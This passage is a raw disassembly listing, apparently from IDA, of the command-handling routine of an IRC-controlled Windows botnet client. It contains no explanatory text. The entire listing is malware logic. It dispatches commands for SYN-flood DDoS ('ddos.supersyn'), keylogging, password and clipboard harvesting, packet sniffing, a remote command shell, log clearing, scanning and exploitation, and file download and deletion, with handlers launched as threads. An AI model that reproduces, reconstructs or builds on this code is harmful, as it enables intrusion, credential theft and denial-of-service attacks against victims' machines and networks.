		test	eax, eax
		pop	ecx
		jnz	short loc_40FC30
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_437840
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FC30:				; CODE XREF: sub_40EC43+FD3j
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC59
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_43781C
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FC59:				; CODE XREF: sub_40EC43+FFCj
		push	edi
		push	offset dword_43780C
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC82
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_437800
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FC82:				; CODE XREF: sub_40EC43+1025j
		push	edi
		push	offset dword_4377F8
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FCAB
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4377EC
		push	offset dword_4377E0
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FCAB:				; CODE XREF: sub_40EC43+104Ej
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FCD4
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4377BC
		push	offset dword_4377AC
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FCD4:				; CODE XREF: sub_40EC43+1077j
		push	edi
		push	offset dword_4377A0
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FCFD
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_437794
		push	offset dword_437788
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FCFD:				; CODE XREF: sub_40EC43+10A0j
		push	edi
		push	offset dword_437778
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD26
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_43776C
		push	offset dword_437760
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FD26:				; CODE XREF: sub_40EC43+10C9j
		push	edi
		push	offset dword_437750
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD4F
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_437744
		push	offset dword_437738
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FD4F:				; CODE XREF: sub_40EC43+10F2j
		push	edi
		push	offset dword_437728
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD78
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_43771C
		push	offset dword_437710
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FD78:				; CODE XREF: sub_40EC43+111Bj
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FDA1
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_4376F4
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FDA1:				; CODE XREF: sub_40EC43+1144j
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414975
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414975
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414960
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414960
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FE1E
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_437694
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FE1E:				; CODE XREF: sub_40EC43+11C1j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FE47
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_43766C
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FE47:				; CODE XREF: sub_40EC43+11EAj
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FE70
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_40FE70:				; CODE XREF: sub_40EC43+1213j
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414947
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414947
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414926
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414926
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414904
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414904
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148BB
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148BB
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487D
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41487D
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414846
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414846
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFBE
		call	sub_40AA4E
		test	eax, eax
		mov	eax, offset dword_437594
		jnz	short loc_40FF90
		mov	eax, offset dword_437560

loc_40FF90:				; CODE XREF: sub_40EC43+1346j
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 1Ch
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_40FFBE:				; CODE XREF: sub_40EC43+1338j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414768
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414768
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414745
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414745
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414656
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414656
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41463A
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41463A
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414600
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414600
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41019F
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_1438]
		push	edi
		push	eax
		call	sub_418910
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_13B8]
		push	eax
		call	sub_418910
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		call	sub_418910
		push	7Fh
		lea	eax, [ebp+var_12B8]
		push	[ebp+var_8C]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+arg_18]
		mov	[ebp+var_1234],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1230],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_143C],	eax
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset unk_4374A0
		push	eax
		call	sub_416FB6
		add	esp, 44h
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	14h
		push	eax
		call	sub_416A7A
		add	esp, 0Ch
		mov	[ebp+var_1238],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_143C]
		push	ebx
		push	eax
		push	offset sub_40182F
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_1238]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_410192
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437450
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_41018A:				; CODE XREF: sub_40EC43+1555j
		push	32h
		call	dword_423064	; Sleep

loc_410192:				; CODE XREF: sub_40EC43+1534j
		cmp	[ebp+var_122C],	ebx
		jz	short loc_41018A
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_41019F:				; CODE XREF: sub_40EC43+145Cj
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145D5
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145D5
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41459B
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41459B
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414479
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414479
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41444F
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41444F
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143C8
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143C8
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143AB
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143AB
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414392
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414392
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41434B
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41434B
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410318
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_414988
; ---------------------------------------------------------------------------

loc_410318:				; CODE XREF: sub_40EC43+16BBj
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41039F
		cmp	[ebp+var_8], ebx
		jnz	short loc_410348
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_410348:				; CODE XREF: sub_40EC43+16E9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_41034D:				; CODE XREF: sub_40EC43+1750j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410359
		mov	eax, offset aEmpty ; "<Empty>"

loc_410359:				; CODE XREF: sub_40EC43+170Fj
		push	eax
		push	esi
		lea	eax, [ebp+var_2EC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416FB6
		push	1
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41034D
		push	offset dword_437324
		jmp	loc_413525
; ---------------------------------------------------------------------------

loc_41039F:				; CODE XREF: sub_40EC43+16E4j
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41430A
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41430A
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4142DF
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4142DF
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4142AF
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4142AF
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414275
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414275
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414119
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414119
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FA4
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413FA4
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413E6C
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413E6C
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413DC6
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413DC6
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AC7
		push	edi
		push	offset aSa	; "sa"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AC7
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F098
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA6
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA6
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A86
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A86
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A70
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A70
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A3C
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A3C
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41398C
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41398C
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4138E3
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4138E3
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413898
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413898
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413883
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413883
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413859
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413859
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413834
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413834
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137D5
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137D5
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137A9
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4137A9
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374E
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374E
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413717
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413717
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413637
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413637
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41361C
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41361C
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413530
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413530
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4134BC
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4134BC
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413468
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413468
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133E3
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133E3
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410A0C
		push	edi
		push	offset aOn	; "on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4109D4
		push	19h
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_410902
		push	offset unk_437054
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_410902:				; CODE XREF: sub_40EC43+1CB3j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_2F4], eax
		jnz	short loc_410944
		mov	esi, offset a2_1 ; "#2"
		push	offset byte_43BCE8
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410944
		mov	esi, [ebp+var_8C]

loc_410944:				; CODE XREF: sub_40EC43+1CE3j
					; sub_40EC43+1CF9j
		push	esi
		lea	eax, [ebp+var_37C]
		push	80h
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_2EC]
		push	offset unk_437014
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	19h
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_380]
		push	ebx
		push	eax
		push	offset sub_402669
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_2FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_4109C7
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436FC8
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_4109BF:				; CODE XREF: sub_40EC43+1D8Aj
		push	32h
		call	dword_423064	; Sleep

loc_4109C7:				; CODE XREF: sub_40EC43+1D69j
		cmp	[ebp+var_2F0], ebx
		jz	short loc_4109BF
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_4109D4:				; CODE XREF: sub_40EC43+1CA3j
		push	edi
		push	offset aOff	; "off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41198E
		push	ebx
		push	19h
		call	sub_416C6F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410A02
		push	eax
		push	offset unk_436F78
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_410A02:				; CODE XREF: sub_40EC43+1DB2j
		push	offset unk_436F40
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_410A0C:				; CODE XREF: sub_40EC43+1C8Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410B91
		push	edi
		push	offset aOn	; "on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A7D
		push	edi
		push	offset aFile	; "file"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A7D
		push	edi
		push	offset aOff	; "off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41198E
		push	ebx
		push	1Bh
		call	sub_416C6F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410A73
		push	eax
		push	offset unk_436EE8
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_410A73:				; CODE XREF: sub_40EC43+1E23j
		push	offset unk_436EAC
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_410A7D:				; CODE XREF: sub_40EC43+1DEFj
					; sub_40EC43+1E00j
		push	1Bh
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jle	short loc_410A93
		push	offset unk_436E7C
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_410A93:				; CODE XREF: sub_40EC43+1E44j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_380], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_2F8], eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410AC2
		mov	[ebp+var_2F4], 1
		jmp	short loc_410ACB
; ---------------------------------------------------------------------------

loc_410AC2:				; CODE XREF: sub_40EC43+1E71j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2F4], eax

loc_410ACB:				; CODE XREF: sub_40EC43+1E7Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410AF2
		mov	esi, offset a2_0 ; "#2"
		push	offset byte_43BCE8
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410AF2
		mov	esi, [ebp+var_8C]

loc_410AF2:				; CODE XREF: sub_40EC43+1E91j
					; sub_40EC43+1EA7j
		push	esi
		lea	eax, [ebp+var_378]
